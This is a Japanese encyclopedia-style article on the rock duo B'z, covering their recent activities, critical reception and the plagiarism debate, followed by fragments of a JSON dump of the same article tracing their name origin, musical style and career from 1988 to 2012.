2021年5月21日、B'z初となるサブスクリプションストリーミングサービスを開始し、松本および稲葉のソロ曲を含む880曲を配信開始した。また、松本隆の作詞活動50周年を記念したトリビュート・アルバム『風街に連れてって!』に参加し、桑名正博の「セクシャルバイオレットNo.1」をカバーした。9月にはB'zが初の主催となるRock Project『B'z presents UNITE #01』を開催し、Mr.Children、GLAYとライブ初共演した。この模様は各メディアにおいて有料配信を行ったほか、ライブのタイトル曲となった「UNITE」も配信限定でリリースした。その後、「FRIENDS」シリーズをコンセプトとしたライブ『B'z presents LIVE FRIENDS』を開催し、約25年ぶりとなる「FRIENDS」シリーズのコンセプト・アルバム『FRIENDS III』を発売した。年末から年明けにかけては『LIVE FRIENDS』を各メディアにおいて有料配信した。
2022年5月14日、約3年ぶりのツアーとなる『B'z LIVE-GYM 2022 -Highway X-』を開催。6月24日にはアルバムの先行配信限定シングル「SLEEPLESS」を配信し、8月10日には22ndアルバム『Highway X』が発売された。8月28日、国立競技場で行われた矢沢永吉のデビュー50周年ライブ『EIKICHI YAZAWA 50th ANNIVERSARY TOUR「MY WAY」』にサプライズゲストとして出演した。11月5日、デビュー35周年企画としてSUGOI花火とのコラボレーション『B'z ULTRA FIREWORKS 2022-2023』の第1弾を幕張で開催した。
2023年3月10日から3月12日にかけて、デビュー35周年記念イベント『B'z presents -Treasure Land 2023-』を開催、イベントでは『B'z LIVE-GYM Pleasure '93 "JAP THE RIPPER"』と『B'z LIVE-GYM Pleasure '97 "FIREBALL"』のフルバージョンを初公開した。6月17日、約5年ぶりのPleasureツアー『B'z LIVE-GYM Pleasure 2023 -STARS-』を開催。7月12日、シングルCDとしては約6年ぶりとなる『STARS』を発売した。8月4日、『B'z ULTRA FIREWORKS 2022-2023』の第2弾を北九州で開催した。
音楽評論家の大貫憲章は、熱心なリスナーではないため印象論でしかないという前置きをした上で、「ハードロックサウンドとシャウト、稲葉の外見の良さなどによって、B'zが日本の一般人が想定するロックのイメージをわかりやすく体現しているためではないか」と分析している。音楽プロデューサーの亀田誠治によると、ヒット曲に必要な条件とする「アーティストパワー」と「楽曲のパワー」の両方を兼ね備えて安定的に売れ続けている「勝ち組安定型」の例としてB'zを挙げており、CDショップも積極的に売り出すことでさらに売上枚数が増えると述べている。作詞家の森雪之丞は洋楽のビートに日本語をどう近づけていくかという「日本語ロック」の試行錯誤において、「稲葉君が歌えば何でもロックになるんですよ。彼の歌詞は、とても四畳半的な男の意気地ない言葉が入っていても、B'zのサウンドの中で彼が歌ったら、ロックである」としており、「詞の世界として、か弱く、セコい心情を吐露していても、松本君のギターがあって、B'zの世界の中で聴くと、それがセコくないんですよ。それがロックだろうって思うんです」と述べている。ギタリストのマーティ・フリードマンは、「B'zはあれだけ人気なのにフォロワーがいないでしょ。テクニックがめちゃくちゃあるし、2人とも自分だけの独特なスタイルを確立しているから、マネしたくてもできないんだと思うよ」と述べている。音楽評論家の伊藤政則は、「B'zは邦楽と洋楽の壁を少しずつ壊して今日に至っているからね」、「B'zの音楽を聴いていると、どうしてもそういう音楽も聴きたくなる。だから(邦楽と洋楽の)境界線みたいなものは壊している。今思えばこれはすごいことです」、「(松本さんや稲葉さんが影響を受けた海外アーティストやアルバムに関するエピソードが)B'zファンの音楽的な裾野を広げているという言い方もできるんじゃないかな」と述べている。
B'zの2人は、売上枚数やライブの動員数などが話題になることについて松本は「セールスがプレッシャーになることは全然ない」「たとえば、"数字"っていうのは一番世間にわかりやすい。何万枚売れたとか、いくら稼いだとか。それはそれでいいんですけど、自分の中での質の向上みたいなものには終わりがない」、稲葉は「数字を気にする人たちがいるのは、それはそれで悪いことじゃないと思う。おもしろい話題の1つとしてとらえてくれればね......」と述べている。また、稲葉は「記録とか目標よりも、今は、もうちょっと違う...例えば、やったことない場所でライブをやってみたいとか、そういうことが楽しい」、松本は「新しいアルバムを創って新しいものが生まれてくる経験とか、知らない場所でライブをやったりしたいなって思えることの方が、今は楽しみ」と述べている。
B'zを論評する時に、避けて通れないのが「パクリ」であるといわれている。『マルコポーロ』94年10月号では、8曲を例に挙げて「パクリのオンパレード」と評しており、『音楽誌が書かないJポップ批評14』では、メロディ、リフ、アレンジなどのテーマごとに、計38曲の元ネタを明かしているとしている。2枚のベストアルバムの記録的大ヒットを受けて、朝日新聞で特集された際にも、「洋楽のパクリというのはよく言われていること」と紹介されていた。
音楽ライターの夏至明および別冊宝島編集部が「B'zはファン以外からはどうみられているか」を調査した結果によると、ロックや音楽に通じている層からは「パクリ・ネタが露骨すぎ」、「ビーイングという出自から来る商業主義の匂いへの嫌悪」と見られているとしている。
また、大滝詠一や奥田民生など他のアーティストなら「リスペクト」や「オマージュ」として好意的に解釈されるのに、なぜB'zだけが叩かれるのか、という点について、様々な分析がされており、元ネタへの愛情と知識の蓄積量、元ネタを商品の「タネ」としかみなしていない創作姿勢の差であるという意見、元ネタであるハードロックに対する評価がそのままパクリの質として評価されているという意見、「パクリ」という行為から読み取れる思想がないという意見、B'zのメーンリスナー層と元ネタであるハードロックが共有されないことで、「共犯関係」を築けないためであるという意見などがある。
この問題についての作曲者である松本の発言として、夏至明は以下のインタビューを引用している。
松本 「よくいるでしょ。この曲のここはツェッペリンだな、とかいう人。それをまるですごいことでも発見したようにいう人、いるじゃない(笑)。僕らはそういう次元ではやってないんだよね。あくまでも楽しんでやっていることだから」
- 「遊び心があるわけですよね」
松本 「たとえば、B'zの曲の中に「スモーク・オン・ザ・ウォーター」のフレーズを入れちゃおうか、とかね」
- 「でも、必ず“あれパクリだぜ”とかいうヤツがいるでしょ(笑)」
松本 「いるよ(笑)。ピントがずれてるよね。ロック好きなヤツがバンドやって、そうならない方が不思議だよ。遊ぶ側のセンスだし、聞く人のセンスの問題だと思うけど」
夏至明はこの問題について、B'zだけの問題ではなく西洋のロックを範とするJ-POPに構造的に内包されているものであるとし、1999年の『音楽誌が書かないJポップ批評3』にて、B'zを「全肯定」する論陣を張った。ただし2007年には、この「全肯定」が「永遠の翼」にみられるような保守回帰傾向に荷担してしまったかもしれない、という反省と後悔をしている。
日本有線大賞
日本レコード大賞
日本ゴールドディスク大賞
ワールド・ミュージック・アワード
ザテレビジョンドラマアカデミー賞
オリコン
ビルボード・ジャパン・ミュージック・アワード
シングル
アルバム
映像作品
シングル
オリジナル・アルバム
『B'z LIVE-GYM Pleasure 2023 -STARS-』時点でのサポートメンバー。
元サポートメンバー
Z'b(ズービ)とは、『B'z LIVE-GYM '91-'92 "IN THE LIFE"』開始前に肩慣らしと遊び心からつけたバンド名であり、洋楽のカバーを中心に日本国内4ヵ所のライブハウスで『Z'b LIVE HOUSE TOUR』を開催した。その後はライブの1コーナーにZ'bのメンバーが登場することもあったが、ファンからの「Z'bはもうやらないのか」という質問に対して松本は「多分やらないと思います」と回答している。
ラジオ
アニメ
特別番組
CM | [
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"text": "B'z(ビーズ)は、ギタリストの松本孝弘とボーカリストの稲葉浩志からなる日本のロックユニットである。所属事務所はVERMILLION。所属レーベルはVERMILLION RECORDS。公式ファンクラブは「B'z Party」。",
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"text": "1988年にシングル『だからその手を離して』とアルバム『B'z』の同時発売でデビュー。1990年発売の5thシングル『太陽のKomachi Angel』で初のオリコンチャート1位を獲得し、同年発売の4thアルバム『RISKY』、1991年発売の8thシングル『LADY NAVIGATION』が初のミリオンセラーになるなど作品が次々とヒットしており、これまでにシングル15作品、アルバム19作品がミリオンセラーとなっている。中でも、1998年発売のベスト・アルバム『B'z The Best \"Pleasure\"』は日本国内の音楽史上で初めて売上枚数が500万枚を突破したほか、同年発売の『B'z The Best \"Treasure\"』との2作品合計で約1000万枚の売上枚数を記録している。2007年にはアジア圏のミュージシャンとしては初めて「ハリウッド・ロックウォーク(英語版)」に殿堂入りした。2008年にはギネス世界記録から「日本でもっともアルバムを売り上げたアーティスト」の認定を受けている。",
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"text": "1989年から「LIVE-GYM」と冠するライブは、これまでに日本国内のライブハウスからスタジアム、日本国外までの様々な会場で開催しているほか、各種音楽イベントにも出演している。",
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"text": "「B'z」の名称についてメンバーはインタビューなどで「深い意味はない」としているが、「現代的な記号のようなものがいい」というものがあり、企業ロゴのように意匠化しやすいものを求めていた。",
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"text": "これまでにB'zの2人が説明している名前の由来は一貫しておらず曖昧なものが多く、2012年のインタビューで松本は「昔は適当に答えていた」と述べている。これまでの説明としては、下記が挙げられる。",
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"text": "ビーイング創業者である長戸大幸によると、バンドを作る度に商標を取らなくてはならないことが大変であり、当時は「JT」(日本たばこ産業)や「JR」(旧日本国有鉄道の民営化に伴うグループの総称・略称)などのネーミングが世の中に出てきた頃であったため、当初はユニット名を「A'z」(アズ)にしようとした。ところが、同時期にロート製薬の「AtoZ」がテレビCMで頻繁に流れていたので、周囲から「ロート製薬からとったでしょ」と言われるようになったので、「A'z」でのテスト盤をすべて止めて「B'z」にしたと述べている。",
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"text": "「B'z」の発音については、世間的に抑揚をつけない平板な読み方の「ビーズ」(例えば「リール」「レール」に近いもの)が一般的になっているが、本人たちや関係者は「ビィズ」と「ビ」にアクセントを置いて読んでいる(例えば「プール」「シール」に近いアクセント)。",
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"text": "平板な発音の方が一般に定着した理由について、NHK放送文化研究所は「(NHKの)番組内での発音については、責任者が決めている」と前置きした上で、「ギター、ドラマ、映画、ディレクター。こういった言葉は、かつては頭を高くした発音がされていたと思うのですが、今は平たく言うほうが主流ですね。日本語の習性として、言葉が出来て、馴染みが薄いときには頭にアクセントを置く、そしてその言葉が口をついて出る回数が増えるにつれ、どんどん後ろに移動して、落ち着いていくというものがあります。「ビーズ」と平べったい発音になるのは、自然の流れなのではないか」との見解を述べている。",
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"text": "オフィシャルウェブサイト「BIOGRAPHY」を参照。",
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"text": "当初、松本は少人数のバンドを結成する計画でメンバーを探していたが、納得できるメンバーに巡り会えない状況が続いていた。そのような中で稲葉と出会って2人組の音楽ユニット「B'z」を結成したが、松本は「ボーカルとギターという極めてアナログ的な楽器の可能性を広げていくため、コンピューターや色々な新しい機材と対比しながら共存していけたら」と述べており、「僕が曲を書いて彼(稲葉)が詞を書いて、歌ってギター弾いて、それで十分音楽は創ることが出来るので、敢えて他のメンバーは入れなかった」としている。",
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"text": "当時の日本国内の音楽シーンはいわゆる「バンドブーム」の真っ只中であり、B'zのデビューは異色でもあった。このことについて、松本は「セッションミュージシャンとして限界に来てて、グループをやるタイミングだと思って動き出しただけで、バンドブームとは関係のないところにいたから」と述べている。一方、ライブについて松本は「コンピューターだけではライブの良さを出せるとは思ってないから、良いサポートミュージシャンを選びたい」と語っている。",
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"text": "活動初期は打ち込みにハードなギターを合わせた音楽スタイルであり、TM NETWORKに近いサウンドであった。当時について松本は「B'zの初期は、確かに(自分がサポートメンバーとして参加していた)TMの流れを汲んでいた」、「TMから始まったものが当時の僕のスタイルの一部にはなっていると思う」、「B'zの初期はテッちゃん(小室哲哉)の影響が大きかった」と述べ、プロデューサーの長戸大幸からして、当初は「TMのメンバーに似た容姿のバンドマン同士を組ませて、新しいグループを作る」というコンセプトありきの企画ユニットだった。",
"title": "音楽性"
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"text": "しかし、松本と稲葉は好きなギタリストやシンガー、これからやりたいことが似ていたこともあり、ノリのある8ビートにロックな部分を残し、打ち込みで人間的なノリを出すことにこだわり始めたことで音楽性がガラッと変わっていくことになる。活動初期とは打って変わり、レコーディングやツアーを重ねるごとにロック色が強い作品を発表するようになり、サポートメンバーを含めたバンド感を出すようになっていく。",
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"text": "そして、ハードロックをベースとしながらもアコースティック、ブルース、ジャズ、ソウル、サイケデリック、ファンク、ヘヴィメタル、レゲエ、ラテン、マーチ、歌謡曲など様々な音楽ジャンルを作品に取り入れている。",
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"text": "日本国内のいわゆる「J-POP」の中でハードロックをベースにチャート上位を狙いながら活動しているのはB'zくらいしかいないと言われている。",
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"text": "B'zの曲は作詞を稲葉、作曲を松本が担当している。B'z結成当初から曲については「自分たちでなんとかしよう」ということがあり、自然な流れでギターの松本が作曲でボーカルの稲葉が作詞になった。ところが、2人ともB'zが始まってから本格的な作詞・作曲の創作活動を行ったため、1stアルバム『B'z』では「Nothing to Change」の作詞を亜蘭知子、「孤独にDance in vain」の作曲を大槻啓之が担当しており、松本は「当時はあれが限界だった」と述べている。また、稲葉は日本語で歌詞を書くことや日本語で歌うことに抵抗があったため、はじめは作詞に苦慮する日々が続いた。",
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"text": "基本的には松本が作るメロディやギターのリフなど断片的なものから始まり、後から歌詞を書くいわゆる「曲先」で制作しているが、すでにストックしてある詞やメロディを当てはめて制作していく場合もある。松本は浮かんだアイデアをボイスレコーダーや携帯電話に録音し、近くにギターがなければ歌だけで録音することがある。稲葉も思いついたものをメモに取ったり携帯電話に録音している。また、稲葉はB'zの曲の作詞に関して松本が奏でるメロディや音色から言葉を喚起することが多々あるとも述べている。編曲に関して当初は明石昌夫が単独で行い、1stミニ・アルバム『BAD COMMUNICATION』の頃から松本と明石でベーシックなものを制作してから稲葉が詞を書いていくという手法で行っていたが、6thアルバム『RUN』では制作途中までツアーメンバーでレコーディングしている。7thアルバム『The 7th Blues』レコーディングの頃から稲葉がスタジオ作業に具体的な興味が湧いてきたと述べており、8thアルバム『LOOSE』レコーディングからは稲葉が制作当初から参加するようになり、16thシングル『ねがい』で稲葉が初めて編曲にクレジットされた。また、B'zの2人をはじめサポートメンバー、ディレクターなどがアレンジに意見し、出たアイデアを音にして具現化するようにしているほか、デモテープを複数のアレンジャーに渡して良いアレンジを採用するような場合もある。",
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"text": "レコーディングは松本のギター・ソロや稲葉のボーカル録りを個別に行っており、松本は歌詞に関しても稲葉の歌入れ後に初めて聞くことが多い。松本のギター・ソロのレコーディングは、何通りか弾いた中からフレーズが決まってくると、いくつかのフレーズをミックスして弾く場合が多いと述べている。レコーディング場所はロサンゼルスと東京で行うことが多く、制作などのスタジオ作業はロサンゼルスや東京のほかにニューヨーク、ハワイ、沖縄、福岡、大阪などで行ったことがある。また、かつてはアメリカの制作過程や作業を学ぶためロサンゼルスに渡り、アンディ・ジョーンズ(英語版)をプロデューサーに迎えてレコーディングを行ったことがあり、20thシングル『Real Thing Shakes』として発売するなど、外部のプロデューサーを起用して曲づくりをする場合もある。",
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"text": "「B+U+M」はかつてのB'zの音楽制作集団であり、名称は「B'z Unreal Music」のイニシャルに由来している。ギターの松本孝弘とボーカルの稲葉浩志で構成しているB'zであるが、「自分たちだけでは実現できない音楽を実現する」という目的で「B+U+M」を結成しており、B'zの曲の制作やライブサポートなどの活動を行っていた。1990年発売の3rdアルバム『BREAK THROUGH』収録の「B・U・M」には「Here we are B'z & the Funky Crew」という「B+U+M」を示唆する歌詞があり、同年発売の4thシングル『BE THERE』で初めてクレジットしている。なお、1990年11月16日にはB'zのマネジメントオフィスとして「B.U.M」を設立しており、2001年には「B.U.M」を継承した「VERMILLION」を設立している。その後、「B'zは2人である」というメリットを有効に活用するため、1994年発売の15thシングル『MOTEL』制作を最後に「B+U+M」を解体した。",
"title": "音楽性"
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"text": "「B+U+M」の解体については1994年開催の『B'z LIVE-GYM '94 \"The 9th Blues\"』ツアー中に松本が稲葉に話をするなどし考えていたという。当初はスタッフを含めB'zを取り巻く環境をずっと変えないで行こうと思っていたが、それが良くない方向に現れ一度解体してバラすことが必要であったと1995年のインタビューで松本が述べている",
"title": "音楽性"
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"text": "音楽制作会社のビーイングに所属して浜田麻里やTM NETWORKなどのバックバンドやスタジオ・ミュージシャンなどとして活動していたギタリストの松本孝弘は、「自分自身の音楽を表現できるバンドをつくる」という構想を実現するため、バンド結成に向けた活動を開始していた。音楽雑誌においてあるボーカリストとバンドを組むことを公表した時もあったが、結局デビューには至らなかった。",
"title": "経歴"
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"text": "1988年5月、松本はビーイング社長であり音楽プロデューサーでもあった長戸大幸から1本のデモテープを渡された。そのデモテープには「Being音楽振興会」(後のBeing Music School)に所属していた稲葉浩志が、T-ボーン・ウォーカーの「T-BORN SHUFFLE」、レッド・ツェッペリンの「YOU SHOOK ME」、ビリー・ジョエルの「Honesty」を歌ったものが録音されていた。この頃の長戸は、「稲葉を何とかしたい、早くデビューさせたい。」との思いを抱いていた。歌声を聞いた松本は稲葉をボーカルに採用することを決め、長戸を介して2人は初めて会うことになった。松本は当時について、「デモも聞いたし、写真も見たし、(稲葉と会う前から)自分は心が決まっていた」、「後は『いい人』であってくれと願っていた」と振り返っている。",
"title": "経歴"
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"text": "翌々日に当時六本木にあった録音スタジオ「SOUND JOKER」にてビートルズの「Let It Be」、「Oh! Darling」をセッションした。ところがアンプの故障によりセッションは2曲で終了したため、松本曰く「ものの10分くらいですぐ決まった」と述べている。そして、ユニット名を「B'z」として1988年9月21日にシングル『だからその手を離して』とアルバム『B'z』の同時発売でデビューした。アルバムのキャッチコピーは「最先端から加速する」。初めての出会いからデビューに至るまでが約4か月と短期間であり、信頼関係や友情がないままデビューに向けての活動が始まっていたため、稲葉によると「これまで松本さんから『一緒にバンドやろう』と言われたことはない」と述べている。",
"title": "経歴"
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"text": "松本によると、当時のレコード会社は「アルバム発売3枚までにブレイクさせよう」という方針であり、B'zを始めた時から「売れなければ意味がない」という意識が高く、「どうしたら売れるか?」ということを考えていたという。稲葉には「(当時一番売れていた音楽雑誌)『ギターブック/GB』の表紙を目指す」、「(週刊ランキング誌)『オリコン』の(1位から50位までが掲載されている)左ページに載る」といったB'zの「3ヵ年計画」を語ったという。なお、初期のプロデューサーは中島正雄であり、松本のトータル・プロデュースとなった後は「スーパーバイザー」としてクレジットしていた。",
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"text": "デビュー1年目は音源を制作してリリースすることで話題を繋いでいこうという戦略であり、当時の松本には「アルバムを少なくとも2枚出すまで絶対ツアーをやらない」、「ライブハウスからではなく、はじめからホール展開でやっていく」というビジョンがあった。その代わりにヤマハのモニターを務めていた松本が「ギター・セミナー」を開催し、セミナー後には同行していた稲葉とともにB'zを披露するキャンペーンで全国各地を回った。この頃、松本はまだTM NETWORKのツアーに参加するスケジュールが残っており、コンサートの前後にセミナーを開催する時もあった。",
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"paragraph_id": 25,
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"text": "B'zが初めて観客の前でライブを披露したのは、1989年にTM NETWORKやFENCE OF DEFENSEとの音楽イベントにオープニングアクトとして出演した時であり、松本は初めて稲葉がライブで歌っているのを横でギターを弾きながら見た時に、「『これは絶対にいけるな』と思った」と述べている。2ndアルバム『OFF THE LOCK』発売後、初の単独ライブ『B'z LIVE-GYM #00 \"OFF THE LOCK\"』を東名阪の3ヵ所で開催した。3rdアルバム発売前に実験的な試みで発表した1stミニ・アルバム『BAD COMMUNICATION』がロングセラーを続ける中、1990年発売の3rdアルバム『BREAK THROUGH』がオリコンチャート初登場3位となりトップ10入りを果たした。",
"title": "経歴"
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{
"paragraph_id": 26,
"tag": "p",
"text": "これまではアルバムとシングルを同時発売していたが、4thシングル『BE THERE』を単独発売しシングルでもオリコンチャートトップ10入りを果たした。なお、このシングルから収録曲の表記を「1st beat」、「2nd beat」としているほか、音楽制作集団「B+U+M」をクレジットしている。続く5thシングル『太陽のKomachi Angel』で初のオリコンチャート1位を獲得すると、4thアルバム『RISKY』は初のアルバムチャート1位とミリオンセラーを達成した。この年はシングル5枚、オリジナル・アルバム2枚、ミニ・アルバム1枚、ビデオ1作品を発表しており、毎月のように各音楽雑誌が紙面に取り上げ、表紙を飾ることもできた。1991年発売の8thシングル『LADY NAVIGATION』ではシングル初のミリオンセラーを達成した(なお、「LADY NAVIGATION」から1996年発売の20thシングル『Real Thing Shakes』まで13作品連続ミリオンセラーになっている)。また、1991年はそれまでに発表した曲の中から人気曲などを演奏する『B'z LIVE-GYM \"Pleasure '91\"』を開催した年であり、以後シリーズ化していく。5thアルバム『IN THE LIFE』発売後、翌年にかけて『B'z LIVE-GYM '91-'92 \"IN THE LIFE\"』を開催した。",
"title": "経歴"
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"paragraph_id": 27,
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"text": "1992年の『B'z LIVE-GYM Pleasure '92 \"TIME\"』ではアリーナクラスの会場に「STAR FISH」と名づけられた可動式の照明トラスを持ち込み、360度全方向に客席を設けた。この年は10thシングル『BLOWIN'』と11thシングル『ZERO』、6thアルバム『RUN』と4thミニ・アルバム『FRIENDS』を発売している。1993年は『B'z LIVE-GYM '93 \"RUN\"』を開催し、ツアー中に12thシングル『愛のままにわがままに 僕は君だけを傷つけない』と13thシングル『裸足の女神』を発売した。夏にはB'z初の野外ライブ『B'z LIVE-GYM Pleasure '93 \"JAP THE RIPPER\"』を渚園(静岡県弁天島海浜公園)で2日間開催した。",
"title": "経歴"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "1994年、14thシングル『Don't Leave Me』発売日から『B'z LIVE-GYM '94 \"The 9th Blues\"』を開催し、合計で1年を通して87本のライブを行った。また、初のCD2枚組になった7thアルバム『The 7th Blues』発売日には、全国31紙の新聞に音楽業界初となる全30段フルカラー2ページの広告展開を実施した。15thシングル『MOTEL』発売を最後に制作チーム「B+U+M」を解体した。",
"title": "経歴"
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{
"paragraph_id": 29,
"tag": "p",
"text": "1995年、16thシングル『ねがい』を発売し、17thシングル『love me, I love you』発売日から『B'z LIVE-GYM Pleasure '95 \"BUZZ!!\"』がスタートし、スタジアムクラスの会場を中心に開催した。ツアーで未発表曲として披露した「LOVE PHANTOM」を18thシングルとして発売した。「B'zは2人である」という原点に立ち返って制作した8thアルバム『LOOSE』は売上枚数が300万枚に達した。1996年は19thシングル『ミエナイチカラ 〜INVISIBLE ONE〜/MOVE』発売後、『B'z LIVE-GYM '96 \"Spirit LOOSE\"』を開催。ツアーで披露していた全編英語詞の「Real Thing Shakes」を20thシングルとして発売した。",
"title": "経歴"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "1997年、21stシングル『FIREBALL』発売後に『B'z LIVE-GYM Pleasure '97 \"FIREBALL\"』を開催し、ナゴヤドームのこけら落し公演を含むドームツアーとなった。日本のミュージシャンでは初となる東京・名古屋・大阪・福岡の4大ドーム公演の実施であった。ツアーで未発表曲として披露した「Calling」は大幅なアレンジを経て22ndシングルとして発売した。9thアルバム『SURVIVE』発売後、1998年から『B'z LIVE-GYM '98 \"SURVIVE\"』を開催した。デビュー10周年となったこの年に発売した初の公式ベスト・アルバム『B'z The Best \"Pleasure\"』は、当時の初週売上枚数を更新する270万枚を記録すると、さらに売上枚数を増やして日本国内の音楽史上初となる売上枚数500万枚を突破した。また、『Pleasure』に封入していたはがきによるリクエストで収録曲を決定したベスト・アルバム『B'z The Best \"Treasure\"』も400万枚を超える売上枚数となって2作品合計の売上枚数が約1000万枚を記録した。",
"title": "経歴"
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{
"paragraph_id": 31,
"tag": "p",
"text": "1999年、前年に発売したベスト・アルバムのセールスなどにより『日本ゴールドディスク大賞』の「アーティスト・オブ・ザ・イヤー」をはじめとする各賞、『ワールド・ミュージック・アワード』の「World Selling Japanese Artist of The Year」を受賞した。ソロ活動を経て26thシングル『ギリギリchop』を発売、10thアルバム『Brotherhood』収録の「ギリギリchop(Version 51)」にはMR. BIGからビリー・シーンとパット・トーピーが参加している。また、以前から面識のあったスティーヴ・ヴァイのレコーディングに参加し、『The Ultra Zone』収録の「ASIAN SKY」を制作している。『B'z LIVE-GYM '99 \"Brotherhood\"』の横浜公演はコンサート初開催となる横浜国際総合競技場を使用した。",
"title": "経歴"
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{
"paragraph_id": 32,
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"text": "2000年、27thシングル『今夜月の見える丘に』、マスト・アルバムとして『B'z The \"Mixture\"』を発売。ニッポン放送のラジオ番組『B'zの@llnightnippon.com』に出演した際は、インターネット中継の同時アクセス数が14,600ストリームに達し、当時の日本記録を更新した。29thシングル『juice』のミュージック・ビデオは札幌での「ゲリラライブ」形式で撮影した。『B'z LIVE-GYM Pleasure 2000 \"juice\"』では、8月9日の千葉マリンスタジアムでのライブが激しい雨と落雷によって急遽内容を短縮して終了する事態となった。同年には11thアルバム『ELEVEN』発売した。",
"title": "経歴"
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{
"paragraph_id": 33,
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"text": "2001年は31stシングル『ultra soul』発売後に『B'z LIVE-GYM 2001 \"ELEVEN\"』を開催し、コンサート初開催となる札幌ドームでは32ndシングル『GOLD』のミュージック・ビデオを撮影した。また、この年はB'z初の海外公演を台北と香港で開催した。",
"title": "経歴"
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"paragraph_id": 34,
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"text": "2002年、『2002 FIFAワールドカップ』開催に伴い発売されたコンピレーション・アルバム『2002 FIFA World Cup Official Album』Songs of KOREA/JAPAN盤に「DEVIL」で参加し、東京スタジアムで開催した国際サッカー連盟初のオフィシャル・コンサート『2002 FIFA World Cup KOREA/JAPAN Official Concert International Day』に出演した。Wアンコールではエアロスミスとともに「Train Kept A Rollin'」を披露した。また、12thアルバム『GREEN』を発売後に『B'z LIVE-GYM 2002 \"GREEN 〜GO★FIGHT★WIN〜\"』を開催したほか、初のアメリカ公演『B'z LIVE-GYM 2002 \"Rock n' California Roll\"』をサンディエゴとロサンゼルスで開催した。なお、この年のサポートメンバーはベースにビリー・シーンが参加した。冬には初のバラード・ベスト・アルバム『The Ballads 〜Love & B'z〜』を発売した。",
"title": "経歴"
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"paragraph_id": 35,
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"text": "2003年、34thシングル『IT'S SHOWTIME!!』発売と同時に4thシングル『BE THERE』から13thシングル『裸足の女神』までのシングル10作品をマキシシングル化して再発売し、オリコン週間シングルチャートトップ10に9作品がランクインした。6月9日、特別番組の収録で六本木ヒルズアリーナにてゲリラライブを行った。『B'z LIVE-GYM The Final Pleasure \"IT'S SHOWTIME!!\"』最終公演は10年ぶりとなる渚園(静岡県弁天島海浜公園)で開催し、デビュー15周年を迎えた。10月10日に放送された特別ドラマ『生放送はとまらない!』内の演奏シーンで出演。前年に続き海外公演『B'z LIVE-GYM 2003 \"BANZAI IN NORTH AMERICA\"』をアメリカとカナダの西海岸5都市で開催し、日本国内では5大ドームを含むツアー『B'z LIVE-GYM 2003 \"BIG MACHINE\"』を開催した。",
"title": "経歴"
},
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"paragraph_id": 36,
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"text": "2004年はソロ活動がメインとなったが、36thシングル『BANZAI』、37thシングル『ARIGATO』を発売している。",
"title": "経歴"
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{
"paragraph_id": 37,
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"text": "2005年、38thシングル『愛のバクダン』と14thアルバム『THE CIRCLE』発売後に『B'z LIVE-GYM 2005 \"CIRCLE OF ROCK\"』を開催し、アリーナ公演からはB'z初となる円形ステージを採用した。39thシングル『OCEAN』のミュージック・ビデオは史上初となる海上保安庁の巡視船(みずほ)を使用しての撮影となった。アップルコンピュータ(現在のApple)による日本国内でのiTunes Music Store(現在のiTunes Store)サービス開始に伴って楽曲の配信を開始し(一部の曲を除く)、配信限定のボックス・セット『The Complete B'z』をリリースした(現在は配信停止)。また、同年に発売したベスト・アルバム『B'z The Best \"Pleasure II\"』では、iTunesから初公開のライブ映像1曲がダウンロードできる購入特典があった。",
"title": "経歴"
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"text": "2006年は15thアルバム『MONSTER』発売後に5大ドームを含むツアー『B'z LIVE-GYM 2006 \"MONSTER'S GARAGE\"』を開催した。また、ライブ映像配信事業の「Network LIVE」(当時)に初の日本人アーティストとして参加し、映像収録のためのライブを行った。",
"title": "経歴"
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"paragraph_id": 39,
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"text": "2007年はB'zとしては初のロック・フェスティバル出演となる『SUMMER SONIC 07』に出演した。また、デビュー20年目を迎えるに当たり、アジア圏のミュージシャンとしては初めて「ハリウッド・ロックウォーク(英語版)」に殿堂入りし、ハリウッドのギター・センターで記念セレモニーが行われた。16thアルバム『ACTION』を発売し、2008年に『B'z LIVE-GYM 2008 \"ACTION\"』を開催した。また、ベスト・アルバム『B'z The Best \"ULTRA Pleasure\"』とインターネットからのリクエストによって収録曲を決定したベスト・アルバム『B'z The Best \"ULTRA Treasure\"』を発売し、5年ぶりとなるPleasureシリーズ『B'z LIVE-GYM Pleasure 2008 -GLORY DAYS-』を開催した。",
"title": "経歴"
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"paragraph_id": 40,
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"text": "2009年、46thシングル『イチブトゼンブ/DIVE』を発売。ドラムスにはレッド・ホット・チリ・ペッパーズのチャド・スミスが参加した。『B'z SHOWCASE 2009 -B'z In Your Town-』開催後には『SUMMER SONIC 09』に出演した。47thシングル『MY LONELY TOWN』のミュージック・ビデオやジャケット写真は端島(通称「軍艦島」)で撮影した。17thアルバム『MAGIC』発売し、翌年に『B'z LIVE-GYM 2010 \"Ain't No Magic\"』を開催した。ツアー後の表立った活動はソロがメインとなった。",
"title": "経歴"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "2011年、ペプシコーラ「ペプシネックス」TVCMキャラクターに起用され、B'z初のCM出演となった。CMには「エフェクト」篇・「荒野」篇で「さよなら傷だらけの日々よ」を使用し、夏には「People」篇で18thアルバム『C'mon』からタイトル曲「C'mon」、冬には「Xmas Lover」篇で「いつかのメリークリスマス」を使用した。3月11日の「東日本大震災」発生に伴い、被災者支援のためにリンキン・パークが設立した「Music For Relief」によるダウンロード販売のコンピレーション・アルバム『Download to Donate: Tsunami Relief』に参加し、「Home」を提供した。また、8年ぶりとなる海外公演『B'z LIVE-GYM 2011 -long time no see-』をカナダとアメリカの3都市で開催した後、ロサンゼルスで行った「Music For Relief」による被災者支援のためのシークレット・ライブ『Music for Relief - Secret Show for Japan』に出演した。『B'z LIVE-GYM 2011 -C'mon-』では最初の開催地となった宮城公演の収益全額を復興支援に寄付し、全公演でチャリティーグッズを販売した。",
"title": "経歴"
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{
"paragraph_id": 42,
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"text": "2012年も引き続き「ペプシネックス」のCMに出演し、CMには「Tshirts Live」篇で「GO FOR IT, BABY -キオクの山脈-」を使用したほか、夏には「Summer Line」篇で配信限定アルバム『B'z』から38thシングル「愛のバクダン」を英語詞で新たにレコーディングした「Love Bomb」を使用した。また、カプコンのゲームソフト『Dragon's Dogma』主題歌となった24thシングル「さまよえる蒼い弾丸」を英語詞で新たにレコーディングした「Into Free -Dangan-」を配信限定シングルとしてリリースしたほか、キム・ヒョンジュンにはB'zとしては初の楽曲提供となる「HEAT」を書き下ろした。『B'z LIVE-GYM 2012 -Into Free-』はアメリカとカナダの7都市で開催し、追加公演として日本国内4都市で『B'z LIVE-GYM 2012 -Into Free- EXTRA』を開催した。",
"title": "経歴"
},
{
"paragraph_id": 43,
"tag": "p",
